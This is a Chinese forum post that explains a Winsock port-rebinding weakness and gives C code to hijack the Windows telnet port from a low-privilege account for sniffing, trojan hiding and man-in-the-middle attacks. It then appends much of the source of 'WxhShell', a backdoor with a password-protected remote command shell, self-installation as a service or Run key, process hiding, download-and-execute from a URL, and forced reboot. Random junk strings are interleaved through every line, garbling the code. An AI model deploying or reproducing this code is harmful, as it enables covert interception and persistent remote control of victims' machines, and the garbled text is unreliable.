社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17525阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: zw[' hqW  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =e4 r=I  
#8|LPfA  
  saddr.sin_family = AF_INET; T5 (|{-  
tLBtE!J$[  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =A.$~9P  
z%OKv[/N  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @^xtxtjzux  
1>"-!ADm  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !bP%\)5  
"!~o  
  这意味着什么?意味着可以进行如下的攻击: ,;_+o]  
)P$|9<_q7x  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 tO&ffZP8$  
? 3=G'Ip5n  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) X/yq<_ g  
p&h?p\IF  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 lj (y  
Ut;`6t  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  x;17}KV  
q0iJy@?A  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 maXg(Lu  
d'RvpoM  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Nob(D'vSr  
{drc}BL_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5~|{:29X  
Snx!^4+MF  
  #include L=l&,ENy  
  #include }(oeNP M8  
  #include TaN{xpo  
  #include    rZ~w_DK*  
  DWORD WINAPI ClientThread(LPVOID lpParam);   flsejj$  
  int main() mHxR4%i5  
  { Fl-\{vOn  
  WORD wVersionRequested; iQ;p59wSzL  
  DWORD ret; KwuucY  
  WSADATA wsaData; wY8:j  
  BOOL val; {_QdB;VwH  
  SOCKADDR_IN saddr; f8Iddm#  
  SOCKADDR_IN scaddr; p+ CUYo(  
  int err; 8R,<S-+v  
  SOCKET s; p49]{2GXb  
  SOCKET sc; =V[uXm  
  int caddsize; K:wI'N"N  
  HANDLE mt; Jsz!ro  
  DWORD tid;   Z!)~?<gcq:  
  wVersionRequested = MAKEWORD( 2, 2 ); n t}7|h|  
  err = WSAStartup( wVersionRequested, &wsaData ); p;O%W@n"  
  if ( err != 0 ) { UFG_ZoD+  
  printf("error!WSAStartup failed!\n"); uu9M}]mDl  
  return -1; Ao\xse{E  
  } " 8xAe0-4  
  saddr.sin_family = AF_INET; JE=t e(a  
   X\AH^I6S  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 G0E5Y;YIN$  
xu2 KEwgb  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); S/nPK,^d2  
  saddr.sin_port = htons(23); qCV<-o  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |' Fe?~P`  
  { S#7YJ7 K"N  
  printf("error!socket failed!\n"); MUO<o  
  return -1; ^"WV E["  
  } 0!T`.UMI  
  val = TRUE; eTiTS*`u  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [3 Pp NCY  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [nTI\17iA  
  { $ik*!om5  
  printf("error!setsockopt failed!\n"); P {TJ$  
  return -1; Q&} 0owe  
  } 9iA rBL"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .%zcm  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =V^-@ji)b  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 l8\UO<^fY  
\|]mClj#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) N3%X>*'  
  { 2 !s&|lI  
  ret=GetLastError(); >f(?Mxh2  
  printf("error!bind failed!\n"); k }=<51c  
  return -1; Dac)`/  
  } b 7UJ  
  listen(s,2); /jY u-H+C  
  while(1) i"^>sk  
  { T] zEcx+e  
  caddsize = sizeof(scaddr); ^*K=wE}AG  
  //接受连接请求 r|Ui1f5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :xd;=;q5  
  if(sc!=INVALID_SOCKET) . %RM8  
  { 1Kg0y71"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); f7Gn$E|/r;  
  if(mt==NULL) d1b] +AG4  
  { L, JQ\!c  
  printf("Thread Creat Failed!\n"); =!q% 1mP  
  break; JMb_00r  
  } oQ$yr^M  
  } s]arNaaA  
  CloseHandle(mt); bSB%hFp=Cp  
  } ;G[V:.o-  
  closesocket(s); 4,9$udiGY  
  WSACleanup(); j[>cv;h ;  
  return 0; *{g3ia  
  }   3H,E8>Vd  
  DWORD WINAPI ClientThread(LPVOID lpParam) +P/kfY"  
  { W(,j2pU  
  SOCKET ss = (SOCKET)lpParam; p3Sh%=HE'  
  SOCKET sc; }>A q<1%  
  unsigned char buf[4096]; ]<;,HGO  
  SOCKADDR_IN saddr; YH&=cI@  
  long num; z/@_?01T=  
  DWORD val; }A#IBqf5  
  DWORD ret; 7]ieBUf S  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0> f!S` *  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   h9vcN#22D  
  saddr.sin_family = AF_INET; K7 e~%mY  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [a=exK  
  saddr.sin_port = htons(23); iI3:<j l  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %opBJ   
  { xoaO=7\io  
  printf("error!socket failed!\n"); +$2{u_m,  
  return -1; f6Qr0Op  
  } ZN[<=w&(cB  
  val = 100; \br!77  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rP@#_(22  
  { p>6`jr  
  ret = GetLastError(); bO '\QtW9  
  return -1; ~+q1g[6  
  } 2MkrVQQ9g  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {e|qQ4~h  
  { |VfEp  
  ret = GetLastError(); dP5x]'"x  
  return -1;  @/2Kfr  
  } NvR{S /Z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (O.%Xbx3  
  { &#r+a'  
  printf("error!socket connect failed!\n"); -yqsJGY  
  closesocket(sc); >I5:@6 Z  
  closesocket(ss); !Ok(mgV$/  
  return -1; -YRIe<}E -  
  } F:{*4b  
  while(1) Q$jEmmm%V[  
  { Dk1& <} I  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5!-TLwl`j\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 %fS9F^AK  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Oy6fl'FIt  
  num = recv(ss,buf,4096,0); n3^(y"q  
  if(num>0) b}e1JPk}!  
  send(sc,buf,num,0); jHLs 5%  
  else if(num==0) D=tZ}_'{t  
  break; $a(-r-_Fi]  
  num = recv(sc,buf,4096,0); Zk3Pv0c  
  if(num>0) 20:F$d  
  send(ss,buf,num,0); E$8JrL  
  else if(num==0) s**<=M GK  
  break; 36d nS>4  
  } j\>LJai"  
  closesocket(ss); $ Y/9SD  
  closesocket(sc); 0;Z|:\P\=  
  return 0 ; <izQ]\kL  
  } /{M<FVXK+|  
YQVo7"`%  
G6SgVaM  
========================================================== )rc!irac]  
<p@Cx  
下边附上一个代码,,WXhSHELL Z!p\=M,%  
mScv7S~/s  
========================================================== pYr"3BwG  
J<) qw  
#include "stdafx.h" tbrU>KCBD  
d {z[46>  
#include <stdio.h> jhu &Wh  
#include <string.h> `lf_wB+I  
#include <windows.h> -,bFGTvYQ  
#include <winsock2.h> '&>"`q  
#include <winsvc.h> , X5.|9  
#include <urlmon.h> 1.hWgWDP  
aSR-.r  
#pragma comment (lib, "Ws2_32.lib") 7DB_Z /uU  
#pragma comment (lib, "urlmon.lib") ,_z79tC{s  
FX:`7c]:9  
#define MAX_USER   100 // 最大客户端连接数 [KDxB>R<{  
#define BUF_SOCK   200 // sock buffer `e[S Zj\  
#define KEY_BUFF   255 // 输入 buffer Q>niJ'7WF  
i'tMpS3  
#define REBOOT     0   // 重启  W!Tx%  
#define SHUTDOWN   1   // 关机 [%W'd9`>  
86&M Zdv6  
#define DEF_PORT   5000 // 监听端口 pR0[qsQM  
,Oo`*'a[o7  
#define REG_LEN     16   // 注册表键长度 QcegT/vO  
#define SVC_LEN     80   // NT服务名长度 0K!3Ny9(  
eJDZ| $  
// 从dll定义API lExQp2E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WQ|:TLQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t)SZ2G1r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |IxHtg3>6{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8}/DD^M  
6BE,L  
// wxhshell配置信息 8%rD/b6`  
struct WSCFG { hp dI5  
  int ws_port;         // 监听端口 K_Y-N!h  
  char ws_passstr[REG_LEN]; // 口令 >e]g T  
  int ws_autoins;       // 安装标记, 1=yes 0=no (;NJ<x  
  char ws_regname[REG_LEN]; // 注册表键名 ''17(%  
  char ws_svcname[REG_LEN]; // 服务名 woI5aee|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Ee>VA_ss  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dQ:,pe7A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z]7 WC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A(Ct^/x-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b?wrOS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Dy08.Sss  
ULx:2jz  
}; 1{uxpYAP=  
kG^76dAQL  
// default Wxhshell configuration n ]%2Kx  
struct WSCFG wscfg={DEF_PORT, B|`?hw@g+  
    "xuhuanlingzhe", |x[I!I7.F  
    1, a@}.96lStD  
    "Wxhshell", iTxWXij  
    "Wxhshell",  _"DC )  
            "WxhShell Service", @N'n>8Wn  
    "Wrsky Windows CmdShell Service", [9E~=A#  
    "Please Input Your Password: ", z8=THz2f  
  1, jkeerU6  
  "http://www.wrsky.com/wxhshell.exe", X$};K \I  
  "Wxhshell.exe" pn"!wqg  
    }; j cd<'\;  
1(' wg!  
// 消息定义模块 %-hSa~20  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uWS]l[Ga  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )Q2Ap&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [@$ SLl^Y  
char *msg_ws_ext="\n\rExit."; ]:%DDlRb  
char *msg_ws_end="\n\rQuit."; ?G{0{ c2  
char *msg_ws_boot="\n\rReboot..."; q~`hn(S  
char *msg_ws_poff="\n\rShutdown..."; 2m Y!gVi  
char *msg_ws_down="\n\rSave to "; eqtZU\GI>  
s.1F=u9a  
char *msg_ws_err="\n\rErr!"; y6 (L=$+B  
char *msg_ws_ok="\n\rOK!"; uYW4$6S 3  
>`QBN1 Y  
char ExeFile[MAX_PATH]; l5z//E}W  
int nUser = 0; rFzNdiY  
HANDLE handles[MAX_USER]; W]4Z4&  
int OsIsNt; zDF Nx:h  
+%5L2/n7  
SERVICE_STATUS       serviceStatus; <H64L*,5'7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; aIgexi,  
=%_=!%  
// 函数声明 0nc(2Bi  
int Install(void); &YFe"C  
int Uninstall(void); >N&{DJmD  
int DownloadFile(char *sURL, SOCKET wsh); #.8v[TkKq  
int Boot(int flag);  lKbWQ>  
void HideProc(void); fECV\Z  
int GetOsVer(void); j26i+Z  
int Wxhshell(SOCKET wsl); +!).'  
void TalkWithClient(void *cs); rfV'EjiM}  
int CmdShell(SOCKET sock); (Ypy}  
int StartFromService(void); jUT`V ZK4&  
int StartWxhshell(LPSTR lpCmdLine); py6<QoGV  
a)|y0w)vV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L : $ `8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?mMM{{%(.  
_\AQJ?< M  
// 数据结构和表定义 *QK) 1Y1W  
SERVICE_TABLE_ENTRY DispatchTable[] = r3V1l8MV  
{ S5>s&  
{wscfg.ws_svcname, NTServiceMain}, !~ o%KQt  
{NULL, NULL} <4{m99  
}; z|s(D<*w  
@$slGY  
// 自我安装 ^y,h0?Z9  
int Install(void) aEf3hB*~  
{ fW = N  
  char svExeFile[MAX_PATH]; dv+Gv7&2/  
  HKEY key; t 7Y*/v&P(  
  strcpy(svExeFile,ExeFile); @9^OHRZX  
w4fKh  
// 如果是win9x系统,修改注册表设为自启动 j"Jf|Hq $  
if(!OsIsNt) { |E~c#lV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mG)5xD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [kg^S`gc#  
  RegCloseKey(key); qV=:2m10x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ):N#X<b':  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); la;*>  
  RegCloseKey(key); d&3"?2 IQ  
  return 0; j_C"O,WS  
    } ?}`- ?JB1  
  } AojL4H|  
} y\v#qFVOZ  
else { Y:CX RU6eD  
l8~(bq1  
// 如果是NT以上系统,安装为系统服务 izSX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cGm3LS6]*  
if (schSCManager!=0) Z/,R{Jgt"  
{ #91^1jyMf  
  SC_HANDLE schService = CreateService %P}H3;2  
  ( %OoH<\w w  
  schSCManager, kA=5Kc  
  wscfg.ws_svcname, bo<P%$(D  
  wscfg.ws_svcdisp, HMVP71  
  SERVICE_ALL_ACCESS, yjT>bu]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -1Tr!I:1  
  SERVICE_AUTO_START, AL":j6!OQ  
  SERVICE_ERROR_NORMAL, ; gBR~W  
  svExeFile, &G2&OFAr]q  
  NULL, )>2L(~W  
  NULL, n1%2 sV)>  
  NULL, a&{Y~Og?%  
  NULL, ZH~bY2^;  
  NULL %N Q mV_1  
  ); k'r}@-X  
  if (schService!=0) yeyDB>#Va.  
  { {.Qv1oOa  
  CloseServiceHandle(schService); 4T@+gy^.  
  CloseServiceHandle(schSCManager); f?d5Ltg   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =]%,&Se  
  strcat(svExeFile,wscfg.ws_svcname); ZtZ3I?%U3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lEl.'X$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |ufL s  
  RegCloseKey(key); A~xw:[zy$a  
  return 0; =rymd3/  
    } 0 s+X:*C~  
  } uD/@d'd_4L  
  CloseServiceHandle(schSCManager); z5gVP8*z5  
} ]Ea-MeH  
} ![Qi+xyc  
1j<uFhi>  
return 1; J2}poNmm  
} ^EiU>   
=F|9 ac9X  
// 自我卸载 j-d&4,a:c  
int Uninstall(void) o2dO\$'  
{ 7;+G)44  
  HKEY key; Z,"4f*2  
.Wt3|?\=nd  
if(!OsIsNt) { U 2-{p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (Yz[SK=U}  
  RegDeleteValue(key,wscfg.ws_regname); a0hBF4+6  
  RegCloseKey(key); ='jT 5Mg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j^=Eu r/  
  RegDeleteValue(key,wscfg.ws_regname); NWh1u`  
  RegCloseKey(key); %}(` ?  
  return 0; JPn)Op6  
  } zG$5g^J  
} D\G.p |9=  
} /a*){JQ5j  
else { c5%}* "z  
Gtaa^mnxD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =/K)hI!u  
if (schSCManager!=0) H.ZF~Yu w  
{ inh:b .,B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); TC-Vzk G|  
  if (schService!=0) qkKl;Z?Y:  
  { ;N#}3lpLqg  
  if(DeleteService(schService)!=0) { g"748LY>=p  
  CloseServiceHandle(schService); T; tY7;<  
  CloseServiceHandle(schSCManager); N&   
  return 0; `Pc6 G*p  
  } :pM 8Q1:B  
  CloseServiceHandle(schService); JXL?.{'A  
  } HnArj_E  
  CloseServiceHandle(schSCManager); \(Oc3+n6  
} 7f+@6jqD\)  
} tTBDb  
I#xdksY  
return 1; y?a71b8m  
} tx7 zG.,  
2*Qi4%s#  
// 从指定url下载文件 $ (;:4  
int DownloadFile(char *sURL, SOCKET wsh) |'-aR@xJ  
{ !#pc@(rE  
  HRESULT hr; ;@=3 @v  
char seps[]= "/"; pMT7/y-  
char *token; ~bkO8tn  
char *file; k 6M D3c  
char myURL[MAX_PATH]; 1N(#4mE=  
char myFILE[MAX_PATH]; MlYm\x8{M  
QOEi.b8r  
strcpy(myURL,sURL); `bBkPH}M  
  token=strtok(myURL,seps); \}4Y]xjV2  
  while(token!=NULL) Y Iwa =^  
  { /i8OyRpSyk  
    file=token; C IMI?  
  token=strtok(NULL,seps); ~588M 8~  
  } P!Fy kg  
}xC2~  
GetCurrentDirectory(MAX_PATH,myFILE); Pw<'rN8''  
strcat(myFILE, "\\"); C]2-V1,ZX  
strcat(myFILE, file); {Z k^J  
  send(wsh,myFILE,strlen(myFILE),0); rwJ U;wy  
send(wsh,"...",3,0); ~<!j]@.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e1a\ --  
  if(hr==S_OK) qK7:[\T|?T  
return 0; .Pj<Pe  
else !O%!A<3  
return 1; %:'G={G`QH  
yVnG+R&  
} !*Is0``  
k*?T^<c3  
// 系统电源模块 D& pn@6bB  
int Boot(int flag) @Pk<3.S0  
{ B>c$AS\5y  
  HANDLE hToken; /V09Na,N  
  TOKEN_PRIVILEGES tkp; &u[{VR:  
Ic4#Tk20i  
  if(OsIsNt) { ?Fx~_GT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hhaiH i!$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jz_Y|"{`v  
    tkp.PrivilegeCount = 1; X PyDZk/m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Qu[QcB{ro-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m[xl) /e  
if(flag==REBOOT) { ZN#b5I2Pf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8)bR\s   
  return 0; cy.r/Z}  
} ~D3 S01ecM  
else { s>o#Ob@4'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )KE  
  return 0; %\ i&g$  
} ^O*-|ecA  
  } tnobqL'  
  else { iGSJ\  
if(flag==REBOOT) { V5(_7b#z``  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FA*$ dwp  
  return 0; P 9yMf~  
} %Zk6K!MY#  
else { d~qQ_2M[G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9no<;1+j,  
  return 0; WF`%7A39Af  
} g8uqW1E^  
} Qpv#&nfUi6  
k5E2{&wZ  
return 1; 3bWGWI  
} _Z]l=5d  
'wEQvCS  
// win9x进程隐藏模块 <z\SKR[  
void HideProc(void) |Jn|GnM  
{ I;NW!"pU  
Ur#jJR@%3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +Mq\3  
  if ( hKernel != NULL ) P4Pc;8T@!  
  { N\*oL*[j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <b H *f w  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nC p/.]Y*  
    FreeLibrary(hKernel); k!x|oC0  
  } =KHb0d |.  
QUW`Yc  
return; boEQI=!j\+  
} S?b&4\:  
N_K9H1 r  
// 获取操作系统版本 uQvTir*e  
int GetOsVer(void) .4\I?  
{ I}bu  
  OSVERSIONINFO winfo; %3qjgyLZ|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pFY*Y>6ar  
  GetVersionEx(&winfo); :@i+yN cV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~'%d]s+q  
  return 1; G/p\MzDko  
  else G^t)^iI"'  
  return 0; Uap0O2n  
} _jG|kjFTc  
~\JB)ca.  
// 客户端句柄模块 Zb=NcEPGy  
int Wxhshell(SOCKET wsl) Y:;_R=M  
{ nrKAK^  
  SOCKET wsh; xR0*w7YE  
  struct sockaddr_in client; e-y$&[  
  DWORD myID; YCiG~y/~  
T;(,9>Qsu  
  while(nUser<MAX_USER) U!q2bF<@  
{ #aL.E(%  
  int nSize=sizeof(client); pRV.\*:c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >`UqS`YQK  
  if(wsh==INVALID_SOCKET) return 1; dP_Q kO  
>hNSEWMY`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CWkWW/ZI  
if(handles[nUser]==0) "}Om0rB}1  
  closesocket(wsh); tcj "rV{G  
else =h4u N,  
  nUser++; IW!x!~e  
  } "<0!S~]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :bct+J}l~  
O80Z7  
  return 0; T+Re1sPr?  
} > Hv9Xz  
]7_>l>  
// 关闭 socket Hj>9#>b  
void CloseIt(SOCKET wsh) Y9X,2L7V  
{ zNX=V!$  
closesocket(wsh); {mD0 ug  
nUser--; Db Qp (W0  
ExitThread(0); 2x<BU3  
} fQib?g/G  
M _< |n  
// 客户端请求句柄 n R,QG8  
void TalkWithClient(void *cs) THq}>QI  
{ >P j#?j*Y  
|_p7vl"  
  SOCKET wsh=(SOCKET)cs; T3oFgzoO  
  char pwd[SVC_LEN]; e=VSO!(rY  
  char cmd[KEY_BUFF]; <~uzHg%Y  
char chr[1]; >I@&"&d  
int i,j; e">&B]#}  
]\fHc"/  
  while (nUser < MAX_USER) { pP.`+vPi  
(9]1p;  
if(wscfg.ws_passstr) { |u%;"N'p)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1R@G7m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #9TL5-1y  
  //ZeroMemory(pwd,KEY_BUFF); Se!w(Y&  
      i=0; J'WzEgCnU  
  while(i<SVC_LEN) { }}k%.Qb  
x~}&t+FK  
  // 设置超时 #WG}"[ ,c  
  fd_set FdRead; >oq\`E  
  struct timeval TimeOut; h<?Px"& J  
  FD_ZERO(&FdRead); k:?)0Uh%^  
  FD_SET(wsh,&FdRead); QaO9-:]eN  
  TimeOut.tv_sec=8; #@ HlnF}T  
  TimeOut.tv_usec=0; u|wl;+.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h$`m0-'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I@m(}  
G_=i#Tu[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,K}"o~z  
  pwd=chr[0]; f B<Qs.T  
  if(chr[0]==0xd || chr[0]==0xa) { O8#]7\)  
  pwd=0; t"Du  
  break; <UO[*_,\  
  } ^E/6 vG  
  i++; OH>Gc-V  
    } vUbgSI  
SN"Y@y)=  
  // 如果是非法用户,关闭 socket dn'|~zf.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Sm {Sq  
} VOj7Tz9UD  
r[ k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cPZ\iGy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F6 ~ ;f;  
/D9#v1b  
while(1) { _}47U7s8  
jl}9R]Y_2  
  ZeroMemory(cmd,KEY_BUFF); |(tl a_LE  
"\Dqtr w  
      // 自动支持客户端 telnet标准   Y!]a*==  
  j=0; }8 ;,2E*z  
  while(j<KEY_BUFF) { H5d@TB, `  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 56YqYu.  
  cmd[j]=chr[0]; ='.b/]!_  
  if(chr[0]==0xa || chr[0]==0xd) { 0 J"g"=  
  cmd[j]=0; u `ww  
  break; rhOxy Y0  
  } ~ 1TT?H  
  j++; =W')jKe0  
    } t|V5[n!  
j8Q_s/n  
  // 下载文件 ^vh!1"T  
  if(strstr(cmd,"http://")) { gcwJ{&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y/UvNb<lK  
  if(DownloadFile(cmd,wsh)) wG:RvgX}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zt41fPQ  
  else /kr|}`# Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [H!do$[>  
  } @P0rNO %y  
  else { 5/6Jq  
N4qBCBr(  
    switch(cmd[0]) { jXmY8||w  
  xH28\]F5n  
  // 帮助 <J~6Q  
  case '?': { XjzGtZ#6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g3'dkS!  
    break; PfYeV/M|  
  } ?2o+x D2  
  // 安装 DJdhOLx  
  case 'i': { Q& d;UVp  
    if(Install()) HqqMX`Rof  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,b^jAzow  
    else 30w(uF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8@;R2]Q  
    break; IV1O/lGp  
    } '%e@7Cs  
  // 卸载 )Dv;,t  
  case 'r': { |2TH[J_a  
    if(Uninstall()) j."V>p8u$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &N7q 9t  
    else Zd)LVc[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,*V%  
    break; >G?*rg4  
    } .0/"~5  
  // 显示 wxhshell 所在路径  \v:Z;EbX  
  case 'p': { k=d _{2 ~  
    char svExeFile[MAX_PATH]; sw1gpkX  
    strcpy(svExeFile,"\n\r"); &)q>Z!C-l  
      strcat(svExeFile,ExeFile); ^Hf?["m^@  
        send(wsh,svExeFile,strlen(svExeFile),0); D?xR>Oo)  
    break; , DuyPBAms  
    } W4qT]m  
  // 重启 EN ^L.q9#  
  case 'b': { Z *tHZ7 b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~|~2B$JeV  
    if(Boot(REBOOT)) lGT[6S\as  
